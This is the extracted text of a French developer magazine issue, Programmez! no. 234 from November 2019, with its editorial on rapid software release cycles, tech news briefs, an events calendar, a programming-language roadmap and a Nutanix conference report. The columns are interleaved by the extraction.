Programmez! 2019 11

Télécharger au format pdf ou txt
Télécharger au format pdf ou txt
Vous êtes sur la page 1sur 84

HACK / DEBUG / FIREBASE / HAXE / JAVA / JETSON NANO / .

NET

[ grammez!]
programmez.com

Le magazine des développeurs # 234 NOVEMBRE 2019

CYBERSÉCURITÉ DEVEXTREME

HACKING
Simplifiez vos
développements
web
Secure by Design
Cryptographie quantique
DevSecOps
Déboguer un
Pentest
Cilium : firewall service web
pour conteneurs en PHP et
JavaScript

JAVA
Créer un jeu
Comprendre des 20 questions
la SRAM de l’Arduino
© D-Keine

M 04319 - 234 - F: 6,50 E - RD

Jetson Nano : tout pour l’IA ? 3’:HIKONB=^U[ZUY:?k@c@d@e@k";


LE SEUL MAGAZINE ÉCRIT PAR ET POUR LES DEVELOPPEURS
Printed in EU - Imprimé en UE - BELGIQUE 7 € - Canada 9,80 $ CAN - SUISSE 13,10 FS - DOM Surf 7,50 € - TOM 1020 XPF - MAROC 55 DH
EDITO SOMMAIRE
��
Décidément le 13 ne porte pas bon-
heur à tout le monde. Depuis le 19
Brèves——————————————————— 4
septembre, les mises à jour d’iOS se
succèdent : 13.1 dès le 24 septembre puis les 13.1.1, 13.1.2, Agenda 2019-2020 ————————————— 6
13.1.3 et déjà la bêta de la 13.2. Passons directement à la 13.5.
On peut interpréter cette frénésie de deux manières : Roadmap 2019-2020 ———————————— 10
• Wouah, Apple est très réactif et corrige les bugs et rajoute les
fonctions annoncées, mais manquantes (par rapport aux an-
nonces de juin).
Ecole & métier de développeur partie 2 ———— 14
• Euh, le timing est tellement serré que l’on sort la 13.0 (un peu)
instable, avec plein de bugs et des fonctions manquantes, mais
en même temps, on développe la 13.1 pour corriger la 13.0 et
commencer à rajouter les dernières fonctions. Apple a voulu sor-
tir trop vite la nouvelle version !
Dossier spécial ———————— 18
Cette cascade de mises à jour montre les limites du modèle actuel
des évolutions système d’Apple : une version majeure par an. Sécurité et développeur
Modèle qui fut ensuite copié. Mais, cette cadence devient infernale
avec l’élargissement des matériels supportés. Même si dans le
même temps, des modèles anciens sont éjectés.
Les délais sont difficilement tenables pour les développeurs (la res-
source développeur n’est pas illimitée). La sortie rapprochée des
Abonnez-vous ! —————————— 42
13.0 et 13.1 prouvent qu’il fallait figer la version tout en dévelop-
pant la 13.1 parallèlement. Même souci côté macOS 10.15 qui a
connu une mise à jour très rapide pour corriger les bugs les plus .Net ——————————————————— 45
voyants, en attendant la 10.15.1 pour terminer le travail.
Windows 10 connaît aussi une cadence infernale : une version tous DevExtreme partie 1————————————— 50
les 6 mois. Et les bugs et problèmes divers se succèdent : fix dans
les mises à jour et nouveaux problèmes… Là encore, on peut se
poser la question : le modèle de développement n’a-t-il pas atteint
Java : le jeu des 20 questions ————————— 55
ses limites ?
Même chose côté langages et frameworks. Quand on regarde
ML : Firebase ——————————————— 60
Kotlin, Angular, Flutter, Java, les versions se succèdent tous les 6
mois. Apportant parfois bien peu de choses, des centaines de fix. Maker : Arduino et la SRAM ————————— 64
SOS, développeur en perdition ? Il faut se poser la question… très
sérieusement. Debug —————————————————— 69
La course aux nouvelles fonctionnalités et aux versions majeures
des OS a-t-elle toujours un sens ? Une logique ? Nous sommes
dans une boucle infinie : il faut nourrir l’utilisateur et l’utilisateur est
Cloud : Minio 3DS OUTSCALE ———————— 73
impatient. Il veut tout, tout de suite. Le monde technologique, tou-
jours plus rapide et connecté en temps réel (ou presque), impose Jeux : Haxe 4.0 partie 1 ——————————— 76
cette cadence. L’utilisateur, même sans rien demander, est content,
car on lui donne un nouveau jouet.
Devenir un expert… ————————————— 78
Ce n’est pas la première fois que nous évoquons ce problème.
Malheureusement, rien n’a changé. Au contraire, la situation déra-
pe d’année en année. Qui osera casser cette dynamique ?
Matériel : Jetson Nano de Nvidia —————————— 80
Le monde technologique est comme le Titanic.
Commitstrip du mois ——————————————— 82
L’analogie avec le Titanic est pertinente : le navire est lancé à plei-
ne vitesse, il voit le danger… trop tardivement. Malgré un machine
arrière toute et un changement de cap, il faut de longues minutes
pour inverser les pistons et les hélices (sans risquer de casser même
si les machines se bloquent quelques secondes durant cette inver- Dans le prochain numéro !
sion). L’inertie est tellement importante que le changement de cap
se fait très lentement et la collision ne peut pas être évitée… Et ne Programmez! #235, dès le 29 novembre 2019
parlons pas des défauts de conception (tiens du secure by design)
qui seront fatals.
PHP :
(re)découvrez Laravel, l’autre framework PHP
À méditer ?
Sécurité :
François Tonic Parlons un peu d’OpenID : théorie & pratique
[email protected]

programmez.com// 3
BRÈVES par la rédaction de

Ipv4 : projets étant libres, n’importe


face à la pénurie, quel internaute peut prendre en
l’Arcep s’inquiète charge un projet et le proposer à
Novembre 2019 : c’est à cette son tour. Si vous cherchiez de
date que le stock disponible quoi occuper votre temps libre, il
d’adresse IPv4 devrait s’épuiser y a donc de quoi faire.
selon le RIPE NCC, l’organisme
chargé de l’attribution des Tristan Nitot
adresses IPv4. Cela fait un hérite de Qwant
moment que le RIPE tire la Ça n’est peut-être pas un
sonnette d’alarme et rationne cadeau : Tristan Nitot est
progressivement les distributions officiellement devenu directeur
d’adresses IP, mais le dernier stock général du moteur de recherche
restant commence à atteindre sa Qwant. Il reprend donc les
limite : l’organisation vient fonctions d’Éric Leandri, le
d’annoncer que le nombre fondateur, qui reste président de
d’adresses IPv4 en attente la société. Le changement
d'attribution est supérieur au intervient alors que Qwant
nombre d’adresses IPv4 restantes. traverse une année difficile : les
La solution paraît évidente : le Microsoft refait Surface pratiques managériales
passage à IPv6. Plus simple à dire Au cours de sa conférence Surface, Microsoft a annoncé douteuses de Leandri ont été
qu’à faire. plusieurs nouveaux appareils. Au milieu des Surface Pro et autres pointées à plusieurs reprises
Surface Laptop remis au goût du jour, c’est bien la Surface Neo dans la presse. Ses résultats
La taxe Gafa qui a retenu l’attention. Il s’agit en effet d’une tablette avec un financiers ne sont apparemment
s’exporte au Canada double écran LCD 9 pouces liés par une charnière. Une Surface pas au beau fixe, et la société
Justin Trudeau, actuel premier pliable en quelque sorte : pour profiter de cette interface doit défendre ses choix
ministre du Canada en pleine modulaire, Surface Neo utilisera une nouvelle version de technologiques, notamment ses
campagne pour sa réélection, a Windows 10X, capable de gérer les écrans multiples. liens avec Microsoft. Autant dire
fait volte-face sur la question de la que la tâche qui attend l’ancien
taxe Gafa. Il a ainsi annoncé que Complément de la rédaction : nous avons encore peu de directeur de Mozilla Europe n’est
s’il était réélu, il imposerait une détails sur Windows10X qui doit être une reprise de Windows 10 pas mince.
taxe de 3% sur les revenus des avec des fonctions spécifiques aux appareils double écrans.
géants du numérique. La France a D’autre part, Microsoft a dévoilé un smartphone pliable à 2 Le groupe M6
été l’un des premiers pays à écrans, là encore avec charnière pour éviter les problèmes de touché par un
mettre en place une taxation de Samsung. Il tournera sous Android… Il s’agit de la Surface Duo. ransomware
ce type, un moyen de mieux lutter Ces matériels ne seront pas disponibles avant l’automne 2020, Samedi 12 octobre, le groupe
contre l’évasion fiscale dont sont s’ils sortent réellement… M6 a été la cible d’une attaque
fréquemment accusées les de ransomware ayant paralysé
grandes entreprises américaines une partie de ses systèmes
du secteur des nouvelles sociaux. Dans un article du Wall Framasoft visait à proposer des informatiques. De nombreux
technologies. Street Journal, on apprend ainsi la services en ligne libre se posant en systèmes informatiques internes,
société éditrice de Snapchat Snap alternative à ceux des GAFAM. Un tels que les outils de messagerie,
Projet Voldemort : Inc. envisagerait de lancer une projet qui avait rencontré un franc ont été bloqués. L’Anssi a été
Snapchat ne veut pas procédure à l’encontre de succès et avait été largement salué dépêchée à la rescousse afin
se laisser mystifier Facebook. Le nom donné au par le monde du libre. Simplement d’aider le groupe à rétablir le
Facebook n’est jamais parvenu à dossier compilé par Snapchat vaut voilà : Framasoft, petite association fonctionnement de ses systèmes :
racheter Snapchat, qui a toujours le détour : Project Voldemort, une de défense du libre, n’a pas les la dernière fois qu’une chaîne
refusé les offres du géant des appellation qui en dit long sur les épaules pour porter à elle seule les française a fait les gros titres
réseaux sociaux. Mais Facebook relations tendues qu’entretiennent 38 services différents proposés pour une attaque informatique,
n’en est pas resté là : la société les deux sociétés. dans le cadre du projet. c’était TV5 Monde, mais M6 a
aurait activement travaillé à saper L’association annonce donc vouloir de la chance dans son malheur :
le développement de la jeune Degooglisons réduire la voilure et que 28 des l’attaque n’a pas bloqué ses
pousse, en faisant notamment Internet veut services proposés seront fermés outils de diffusion.
pression sur certains influenceurs calmer le jeu dans les deux années à venir.
et en bloquant les contenus issus Lancé en 2014, l’initiative Framasoft rappelle tout de même à
de Snapchat sur ses réseaux Degooglisons Internet de qui veut bien l’entendre que les

4 //programmez.com
AGENDA

Novembre orientée entreprise et transformation digitale. sur le logiciel libre, de l’open source. Il est
.Net Challenge 2019 Site : https://www.microsoft.com/en-us/ignite-the-tour/ organisé par des personnes issues du milieu
Le Microsoft DotNet Challenge de la société universitaire (étudiants et personnels) pour les
SoftFluent est un concours fait pour inspirer les 16 & 17 : Capitole du libre / étudiants lyonnais. L'objectif est de partager
professionnels et les amateurs de la technologie Toulouse différents aspects du libre et des communs, allant
.NET résidant en France. Le premier tour de la Le logiciel libre rencontre le grand public et les par exemple du logiciel libre (Linux, Firefox, etc.)
compétition est joué en ligne. L’enregistrement est développeurs en novembre prochain à Toulouse. aux espaces communs gérés collaborativement
gratuit. Il est ouvert sur toute la durée du Ce grand évènement avait rencontré un beau (Wikipedia, OpenStreetMap).
concours. A l’issue du tour joué en ligne, les succès en 2018 avec +1500 personnes. Cette Site : http://www.campus-du-libre.org
meilleurs participants de la phase en ligne seront année ce sont 100 conférences et 25 ateliers qui
invités à l’épreuve finale. seront proposés. Côté développement, il y aura du 26-27 : VoiceTech Paris
Le défi se termine le 17 novembre. choix : C++, développement web, embarqué, les Les technologies vocales se répandent peu à peu.
Si tu veux relever le défi : http://tinyurl.com/yxbj5vbc jeux, le DevOps. Site : https://capitoledulibre.org Ce salon met en avant les usages, les enjeux du
vocal. Les deux jours seront animés par des
4-8 : Devoxx Belgium / 19 : Congrès Delphi / Paris conférences et ateliers. Si le sujet vous intéresse,
Belgique Venez découvrir ou redécouvrir Delphi et la c’est l’évènement à ne pas rater.
L’évènement développeur belge de l’année : 200 dernière version sortie : RAD Studio 10.3.3. Site : https://www.voicetechparis.com/2019/
speakers, +200 sessions, + 3200 personnes ! Plusieurs sessions techniques seront proposées
Pour en savoir plus : https://devoxx.be durant la journée, avec un gros focus sur la Décembre
version en cours. Pour en savoir plus : http://agenda- 5 : conférence agilité / Paris
5 : JFIE 2019 / Paris congres-delphi-2019.mystrikingly.com Zenika organise une journée de conférences et
Cet évènement, qui réunit en moyenne plus de d’ateliers autour de l’Agilité sur le thème des
200 participants, est une occasion unique pour les 21 : Codeurs en Seine interactions et des émotions, le 5 décembre 2019
professionnels du test de réfléchir et à la cité de la Roquette à Paris. Si toi aussi tu
d'échanger sur les problématiques de la penses qu’on n’est pas des robots, inscris-toi :
gestion des exigences, composante https://zenikagileday.eventbrite.fr
indispensable de la gestion de la qualité
des tests de logiciels et systèmes 5 & 6 : La nuit de l’info 2019
d'information. Ces échanges et La nuit de l’informatique revient. Pour rappel, il
démonstrations s'appuieront sur 6 s’agit d’une grande compétition nationale pour
conférences illustrant la mise en œuvre de les étudiants, enseignants et entreprises pour
l’ingénierie des exigences dans des développer un projet durant la nuit. Les équipes
contextes variés : projets classiques, agiles, doivent choisir le défi à relever ! +4 000
lignes de produits ou systèmes complexes… Codeurs en Seine est une association qui existe participants ont tenté de ne pas dormir en 2018…
Site : www.cftl.fr depuis 2009 dont le but est la promotion et le Site : https://www.nuitdelinfo.com
partage des pratiques et des nouveautés
6 : DevFest / Strasbourg technologiques entre les acteurs du 10 & 11 : Paris Open Source
Le DevFest, ou "Developers Festival", est une développement informatique. Les valeurs sont Summit / Aubervilliers
conférence technique destinée aux développeurs. centrées sur le partage, l’innovation, le Le Paris Open Source Summit est le premier
Elle s'adresse aussi bien aux étudiants, aux rassemblement d’une communauté et évènement en Europe sur l’open source, les
professionnels ou tout simplement aux curieux, l’accessibilité à tous. Codeurs en Seine est une logiciels libres et l’innovation ouverte. Sommet
passionnés de technologies. association d’une vingtaine de bénévoles, qui ne international de conférences, salon business et
Site : https://devfest.gdgstrasbourg.fr cesse de grandir. Nous organisons également des rendez-vous communautaires, OSS Paris met en
meetups et des ateliers tout au long de l’année, lumière le rôle moteur des technologies open
13-14 : Microsoft Ignite Tour sur Rouen et ses environs. Nous sommes source dans les transformations numériques
Microsoft expériences n’aura pas lieu cette année. également partenaire de Devoxx4kids, dont actuelles et à venir. En 2019, OSS Paris devient le
L’évènement qui rassemblait l’écosystème et les l’objectif est de donner aux enfants le goût de la rendez-vous TECH de l’écosystème open source,
communautés se transforme en deux évènements : programmation, de la robotique et de l’ingénierie qui réunit pendant 2 jours les contributeurs,
• 13 &14 : Microsoft Ignite The tour. Deux jours en général. Nous travaillons depuis toujours en décideurs et utilisateurs de briques technologiques
pour se former à travers des parcours, des partenariat avec l’Université de Rouen et de et de solutions open source.
workshops et des rencontres… Mais aussi pour nombreuses écoles normandes afin de permettre Site : https://www.opensourcesummit.paris
explorer les innovations qui seront derrières les aux étudiants d’assister à la journée conférences.
usages de demain. Site : https://www.codeursenseine.com 13 / Agile Tour Strasbourg /
• 13 : Microsoft Envision The tour. Cet Strasbourg
évènement parlera IA, de compétences, 23 : Campus du libre / Lyon Dans la lignée des éditions précédentes, l’Agile
d’opportunités marchés, etc. Journée plus Lyon accueille la 2e édition du Campus du Libre Tour continue à rassembler une communauté

6 //programmez.com
A DÉCOUVRIR D’URGENCE

LE
CADEAU
GEÉEALK
ID

Découvrez l’âge d’or


des micro-ordinateurs
de 1973 à 2007

9,99 €
(+ 3 € de frais
postaux)

116 pages - Format magazine A4

n Découvrez l’âge d’or des micro-ordinateurs de 1973 à 2007 : Commande à envoyer à :


PROG 234

9,99 E (+3 E de frais postaux) = 12,99 E


Programmez!
57 rue de Gisors - 95300 Pontoise

n Mme n M. Entreprise : III III III III III III III III III III Fonction : III III III III III III III III III III III III III III III III

Prénom : III III III III III III III III III III III III III Nom : III III III III III III III III III III III III III III III III III III III III

Adresse : III III III III III III III III III III III III III III III III III III III III III III III III III III III III III III III III III III III III

Code postal : III III III III III Ville : III III III III III III III III III III III III III III III III III III III III III III III III III III III

E-mail : III III III III III III III III III III III III III III @ III III III III III III III III III III III III III III III III III III III III III
n Je joins mon règlement par chèque à l’ordre de Programmez !

commandez sur www.programmez.com


AGENDA

d’agilistes large et variée tout en ayant un focus rassemblant dévs, ops et architectes. On y trouve 3 : dotSwift / Paris
important sur la communauté et les intervenants une journée de formation, 2 jours de conférences La conférence Swift revient à Paris. Avec les
locaux. Alors si vous souhaitez découvrir, et une journée d’échanges sur les pistes. dernières évolutions du langage, le nouveau
apprendre, profiter des retours d'expérience de vos Site : http://snowcamp.io/fr/ framework UI, il y aura de nombreuses choses à
pairs, jouer et ouvrir vos horizons en matière découvrir.
d'agilité, inscrivez-vous : https://www.meetup.com/fr- 31 : Touraine Tech / Tours
FR/ElsassJUG/events/265130586/ Nouvelle édition de Touraine Tech. Au 14 : DevFest Paris / Paris
programme : 18 sessions, des ateliers. On y La DevFest revient à Paris mi-février. L’événement
2020 parlera design, UI, mobile, big data, cloud, jeux, promet de superbes sessions, des animations, et
Janvier IoT, architectures ! beaucoup de technos et de rencontres ! 36
14 : MongoDB Paris / Paris Site : https://touraine.tech sessions sont prévues !
Venez rencontrer MongoDB durant une journée Site : https://devfest.gdgparis.com
dédiée à la base de données et à l’écosystème. La Février
plus grande conférence MongoDB en France offre 1 & 2 : FOSDEM 2020 / Avril
plein d'occasions d'apprendre et rencontrer les Bruxelles 15-17 : Devoxx France / Paris
meilleurs experts. L’évènement incontournable des développeurs 29 & 30 : MixIT / Lyon
Site : https://www.mongodb.com/local/paris open source. C’est l’occasion de découvrir des
projets et surtout d’autres développeurs. On
22-25 : SnowCamp / Grenoble échange, on discute, on oppose les arguments.
SnowCamp est une grande conférence Site : https://fosdem.org/2019/

.NET CHALLENGE 19 : TAKE THE CROWN ! / Belgique


Depuis le 2 octobre 2019, Satellit, en
collaboration avec la plateforme d’Editx, a lancé
la 3ème édition du .Net Challenge Belgique. Cette
année, tous les développeurs .Net du pays
pourront évaluer leurs connaissances et révéler
leur talent en choisissant leur thématique de
prédilection lors de la phase qualificative online :
• AI (ML.NET, …)
• Devops
• Web
• UWP, Xamarin, WPF, …

Chaque questionnaire comprendra


50% de questions en. Net Core.
La finale rassemblera les 5 meilleurs participants
par thème, soit 20 finalistes au total ! La finale se
déroulera lors du DevDay 19 le 26 novembre au
Cinéscope de Louvain-la-Neuve et sera accessible
à tous les participants de cet événement.
Envie de participer ? Participez dès à présent
https://www.satellit.be/net-challenge.html

Que le ou la meilleure
gagne et rendez-vous
pour la finale le 26
novembre 2019 !

Merci à Aurélie Vache pour la liste 2019/2020, consultable sur son GitHub :
https://github.com/scraly/developers-conferences-agenda/blob/master/README.md

8 //programmez.com
ROADMAP

Roadmap des langages & des IDE


Attention ! Python 2.7 sera déprécié dès le 1er janvier 2020. A partir de cette date, plus aucune mise à jour.

DÉJÀ DISPONIBLE
Flutter 1.9 Quelques éléments ici : Ruby on Rails souligne que ceci offre Parmi les annonces faites :
Les principales nouveautés attendues / https://swift.org/blog/5-1-release-process/ l'opportunité de segmenter certains • Shenandoah : ramasse-miettes à
annoncées : Google sort très enregistrements dans leurs propres faible temps de pause ;
rapidement les versions de Flutter. La Kotlin 1.3.50 bases de données à des fins de • API de constantes JVM ;
1.9 a été déployée le 10 septembre Les principales nouveautés attendues / dimensionnement ou d'isolation. La v6 • AArch64 : sert à supprimer toutes
dernier. Cette version inclut plus de annoncées : cette version apporte des propose un nouveau chargeur de code les sources liées aux arm64port. Le
1500 corrections et modifications ! Elle améliorations sur le convertisseur Java et propose désormais Webpacker but est de faciliter le portage ARM ;
supporte le prochain macOS et iOS 13, – Kotlin, plugin de debug Kotlin/Native comme bundle JavaScript par défaut. • archives CDS par défaut ;
les nouveautés du langage Dart et les pour IntelliJ Ultimate, support de la • améliorations sur la GC G1.
nouveaux composants Material. compilation des projets Java Goland 1.13
Grande nouvelle aussi, l’intégration de multiplateformes, nouveau design de Les principales nouveautés attendues / C# 8.0 & .Net Core 3.0
Flutter web dans le référentiel principal l’API temps et heure (préversion). annoncées : cette version doit activer Les principales nouveautés attendues /
de Flutter ! L’éditeur annonce aussi le le mode module par défaut (le mode annoncées : cette nouvelle évolution
support de 24 nouvelles langues. TypeScript 3.6 par défaut d'auto à activer) tout en du langage phare .Net arrive avec
Les principales nouveautés attendues / déconseillant le mode GOPATH. On .Net Core 3.0. Parmi les nouveautés :
Dart 2.5 annoncées : cette version introduit aura aussi des nouveautés sur les • Les types de références nullables
Les principales nouveautés attendues / une vérification plus stricte des génériques, la gestion des erreurs. doivent en finir avec les exceptions
annoncées : bien que Dart soit plus itérateurs et dans la génération des Au-delà : Go 2 sera LA grosse null. Pour cela, elles vous
discret que Go, il évolue lui aussi fonctions. Par exemple, il va vérifier évolution du langage Go, même si les empêchent de mettre null dans des
régulièrement. La v2.5 inclut une que le type soit correct pour équipes ne veulent pas faire une types de référence ordinaire comme
préversion du Foreign Function curr.value. La partie Promises a été version de rupture, mais des string. Par défaut, ces types seront
Interface qui permet d’appeler du code améliorée. Attention : l’équipe évolutions au fil des versions. Un des non nullables ! Cela pourrait avoir
C directement depuis Dart. Cette annonce un peu de casses sur le changements sera la manière de un impact sur les codes existants ;
version comporte pas mal de code. Regardez bien les notes de définir les évolutions et comment la • Les flux asynchrones ;
nouveautés : code complétion en version. Quelques nouveautés : gouvernance fonctionne. L’idée est • Types range et index ;
utilisant des modèles de machine import.meta supporté dans SystemJS, que la communauté soit plus • Expressions Switch.
learning (preview), amélioration sur les nouveaux playground. impliquée. La compatibilité avec Go C# 8.0 arrive avec .Net Core 3.0 qui a
const. Des fonctionnalités à suivre. Pour en savoir plus : 1.x sera un des aspects cruciaux. Pour connu un long développement. Cette
https://devblogs.microsoft.com/typescript/annou le moment, le planning de Go2 reste version supporte .Net standard 2.1,
SWIFT 5.1 ncing-typescript-3-6/ à préciser. + 3 000 API rajoutées, support des
Les principales nouveautés attendues / Notez que la 1.13 sera aussi la applications Windows Desktop dans
annoncées : ce sera la première mise à Ruby on Rails 6 dernière version à s’exécuter sur le WPF, génération d’exécutable .Net
jour de SWIFT 5. Cette version doit Les principales nouveautés attendues / Native Client. Le langage tournera indépendant, ramasse-miettes plus
apporter des corrections de bugs et annoncées : cette version propose la aussi sur Illumos, NetBSD sur arm64, performant, support des pateformes
terminer la stabilité des librairies et des fonctionnalité Action Mailbox OpenBSD sur arm64. ARM. Disponible pour Windows, Linux
modules. Bien entendu, la 5.1 est permettant de router des mails Pour en savoir + : et macOS. Attention : la v3 est une
rétrocompatible avec la 5.0. On doit entrants vers des boîtes mails se https://blog.golang.org/go1.13 version courante et non LTS comme
s’attendre à quelques changements comportant comme des contrôleurs. on aurait pu le croire. Tous les détails :
dans ce que les équipes appellent la On notera également, grâce à l'arrivée Java 13 https://devblogs.microsoft.com/dotnet/announci
« module stability » comme l’apparition d’une nouvelle API, la prise en charge Les principales nouveautés attendues / ng-net-core-3-0/
du .swiftinterface pour le fichier de connexions à plusieurs bases de annoncées : cette version apporte
d’interface à la place de .swiftmodule. données simultanément. L'équipe de plusieurs nouveautés et améliorations.

FIN 2019
.Net Core 3.1 annoncé dès la sortie de la v3 que la sans doute les API et librairies. React 16.9
Date de sortie : : novembre 3.1 sera disponible vers le mois de L’éditeur annonce une migration Date de sortie : automne / hiver
Les principales nouveautés novembre. Cette version sera LTS. Elle simplifiée depuis la 3.0. Les principales nouveautés attendues /
attendues / annoncées : Microsoft a corrigera les bugs connus et stabilisera annoncées : la 16.9 est en

10 //programmez.com
ROADMAP
développement depuis plusieurs mois. de fichiers parallèle. Il sera à préférer annoncées : Symfony 4.4 doit arriver l’apparition de nouvelles méthodes
Durant l’été, les développeurs ont été au __pycache__ présent dans les sous- courant novembre. Elle répond à la (__serialize & __unesrialize).
appelés à tester les préversions. répertoires des dossiers sources. On politique de mise à jour annuelle : On notera aussi le retrait de PEAR ou
Parmi les nouveautés, on notera la disposera aussi de la méthode 1 en mai, 1 en novembre. Cette la dépréciation de ext/wwdx.
dépréciation de UNSAFE_* ou as_integer_ratio(), dans le type int. Le version sera LTS. Au-delà : la prochaine version
encore de Javascript :URLS, des contrôle-C, SIGINT, sera modifié pour majeure devrait être la 8.0. Une
composants Factory, pas mal de éviter les problèmes liés à l’exception PHP 7.4 grosse nouveauté connue sera la
corrections de bugs. Parmi les KeyboardInterrupt. Plusieurs modules Date de sortie : fin novembre présente d’un compilateur JIT. Cette
nouveautés : Async act(), mesures de auront droit à des améliorations Les principales nouveautés attendues / nouveauté permettra de se passer du
performances avec React.Profiler. comme asyncio avec annoncées : la 7.4 doit apporter le Zend VM.
Une nouvelle version de React ProactorEventLoop ou encore dans gc préchargement (preloading) au cœur
DevTools a été déployée en août avec de nouveaux paramètres dans le de PHP pour pouvoir améliorer les Ruby 2.7
dernier. Pour suivre les sorties : get_objects(). performances. Ce mécanisme permet Date de sortie : décembre (?).
https://github.com/facebook/react/releases Pour plus de détails : de charger l’ensemble des fichiers Les principales nouveautés attendues /
https://docs.python.org/dev/whatsnew/3.8.html . PHP dès le démarrage et ainsi annoncées : le langage Ruby
Python 3.8 Au-delà : en toute logique, la améliorer les accès pour assurer une continue d’évoluer. La 2.6 est sortie
Date de sortie : octobre prochaine version majeure sera la 3.9. disponibilité constante de ceux-ci. En fin 2018, notamment avec un
Les principales nouveautés attendues / Pour le moment, pas grand-chose n’a revanche, en cas de changement des nouveau compilateur JIT. On
annoncées : plusieurs nouveautés été communiqué. Cette version ne fichiers, il faudra redémarrer le bénéficie aussi d’un nouveau module
devraient plaire aux développeurs. Tout devrait pas arriver avant 2021. serveur. On notera aussi la RubyVM ::AbstractSyntaxTree. Il
d’abord, on bénéficie du nouveau disponibilité des propriétés typées, analyse une chaîne de caractères et
paramètre pythonpycacheprefix. Il Symfony 4.4 l’extension FFI (Foreign Function retourne les nœuds d’arbre
permet d’utiliser le cache bytecode Date de sortie : novembre Interface) pour appeler du code C, le syntaxique. Un travail d’optimisation
dans une branche séparée du système Les principales nouveautés attendues / nouvel opérateur Null Coalescing, a été réalisé.

COURANT 2020
Swift 5.2 annoncées : les spécifications de coroutine est une unité de traitement attendues / annoncées :l’annonce
Date de sortie : ? C++20 sont désormais figées ; un qui s’apparente à une fonction (ou en a été faite à la dernière
Les principales nouveautés attendues / premier document complet sera routine), avec cette différence que si conférence BUILD. Il s’agit de .Net
annoncées : la prochaine version du disponible cet été. Cette future version une sortie du corps d’une fonction met Core vNext, donc au-delà de .Net
langage Swift doit se focaliser la correction du langage mettra en avant deux fin à l’exécution de celle-ci, la sortie de Core 3.0. Il s’agit de réunifier les
de bugs, la stabilité et les performances. nouveautés : les modules et les la coroutine suspend seulement son noms. L’ambition est d’être
Peu de détails pour le moment. coroutines. Les modules constituent traitement qui peut ensuite reprendre, disponible sur Windows, Linux,
une nouvelle alternative aux fichiers l’état du traitement à la sortie étant macOS, iOS, Android, tvOS,
Java 14 d’en-tête qui apportent un certain conservé. Une coroutine peut être vue webassembly, etc.
Date de sortie : mars nombre d’améliorations clés, comme un morceau de programme qui Au-delà, Microsoft a annoncé une
Les principales nouveautés attendues / notamment en isolant les effets des conserve son état, mais qui n’a pas de ambitieuse roadmap :
annoncées : les premières builds de macros et en permettant des thread d’exécution. Les
Java 14 sont disponibles. Cette version compilations évolutives, explique Herb. coroutines peuvent notamment
apportera des nouveautés limitées : Il ajoute qu’en 35 ans c’est la première être utilisées pour des
support des mémoires NVM, expressions fois que C ++ ajoute une nouvelle itérateurs et des générateurs.
Switch, retrait de java.security.acl. fonctionnalité permettant aux
utilisateurs de définir une limite .Net 5
C++20 d’encapsulation nommée. Date de sortie : novembre
Date de sortie : 2020. Les coroutines sont elles aussi une 2020.
Les principales nouveautés attendues / fonctionnalité à remarquer. Une Les principales nouveautés

LTS Seules les versions issues d’une forte VERSIONING Y = nouvelle fonction, version
On parle souvent de LTS et de non- communauté, d’une fondation, d’un On parle de versions majeures et de mineure (ex. : 15.6) ;
LTS. LTS signifie support long éditeur sont LTS. Chacun fait un versions mineures. Ces dernières Z = bug fix. On corrige les bugs,
terme. C’est-à-dire que cette version peu ce qu’il veut sur le support. sont souvent des versions de bug fix, les problèmes importants.
est supportée officiellement durant x Exemple : Angular est sur un cycle de sécurité, introduisant peu ou pas N’oubliez pas de lire les notes de
années et recevra les mises à jour et de 6 mois pour les versions de nouveautés. React explique aussi versions (release notes). Elles
les patchs de sécurité nécessaires. majeures. Le support se fait sur une la structure des versions avec x.y.z : indiquent les changements, les
Une version non-LTS a une durée version. X = une version majeure modifications, les nouveautés, la
de vie très courte, quelques mois. introduisant une rupture ; migration entre les versions.

programmez.com// 11
.Next Copenhague : Nutanix fête ses 10 ans
avec plusieurs améliorations significatives
de ses solutions pour le cloud
Era, Xi Leap, Xi Cluster, etc. Nutanix renforce son offre sur plusieurs fronts et s’intègre nativement à ServiceNow
pour encore plus d’automatisation du cloud.
pas vers une automatisation accrue applications via les “blueprints” Au-delà du “Software

À
Copenhague, Nutanix a
organisé du 8 au 10 octobre des clouds privés annonçant une proposés par le framework, lesquels Defined Datacenter”
dernier la 4e édition de son intégration maintenant totale avec la sont accessibles via le catalogue de Dans la droite lignée de sa volonté de
évènement .Next Europe 2019. solution d’ITSM, Service Now. Cette services de ServiceNow. Il est aussi transiter vers une infrastructure plus
Devant plus de 4 000 personnes, intégration apporte aux équipes une possible de provisionner directement transparente, Nutanix met en avant une
l’éditeur qui compte aujourd’hui vision complète de bout en bout des des environnements définis et pile de plus en plus complète qui va au-
parmi les leaders du cloud ressources Nutanix du datacenter préchargés pour les différentes delà du “Software Defined Datacenter”
computing a fêté ses 10 ans. Devant pour en améliorer le pilotage. � équipes, de développement et de et s’étend aux différents clouds. La firme
cette foule nombreuse venue de En outre, le moteur d’automatisation production. s’appuie pour y arriver sur des solutions
toute la zone EMEA, Nutanix, a X-Play du logiciel de gestion Prism Pro Qui dit automatisation dit aussi plus complémentaires assurant une continuité
réaffirmé, tant par les mots que par s’agrémente d’une nouvelle “d’autonomie” pour l’infrastructure, de services entre les systèmes on premise
les actes, sa stratégie historique qui commande qui sert à tirer parti du en intégrant des fonctionnalités de et les clouds publics. Pour illustrer son
vise à simplifier les infrastructures et service ITSM de ServiceNow pour self-tuning, self-learning, self-driving propos, Nutanix a démontré sur scène
du cloud pour les rendre plus avertir les responsables informatiques et self-healing boostées à l’IA, son service de reprise après sinistre, XI-
transparents. des incidents et des alertes dans leur Nutanix introduit une nouvelle brique Leap, qui permet un failover et un
environnement cloud privé. Ces baptisée Insights qui intègre de failback des VM vers le cloud Nutanix sur
Intégration capacités d’automatisation se l’analyse prédictive et du support ESXi et AHV. À noter que ce service est
de Service Now complètent de l’introduction dans le automatisé afin de vérifier que les maintenant proposé depuis des
Et c’est la première chose qu’a tenu à ServiceNow Store de Nutanix Calm configurations des utilisateurs sont datacenters dans deux nouvelles régions
rappeler Dheeraj Pandey, le CEO et sous forme de plug-in. Calm est un optimales et répondent aux bonnes en Europe, l’Italie et l’Allemagne, en
cofondateur de Nutanix en montant framework de gestion d’applications pratiques définies par l’éditeur. complément de l’Angleterre (Londres)
sur scène. « Notre mission est multicloud qui permet Délivrée en mode SaaS, la solution annoncée l’an dernier.
aujourd’hui de rendre les l’automatisation, l’orchestration et la permet ainsi de réduire les actions Autre démonstration faite en direct,
infrastructures invisibles pour les gestion du cycle de vie. Avec ce plug- manuelles que doivent réaliser les celle de Xi Clusters on AWS qui
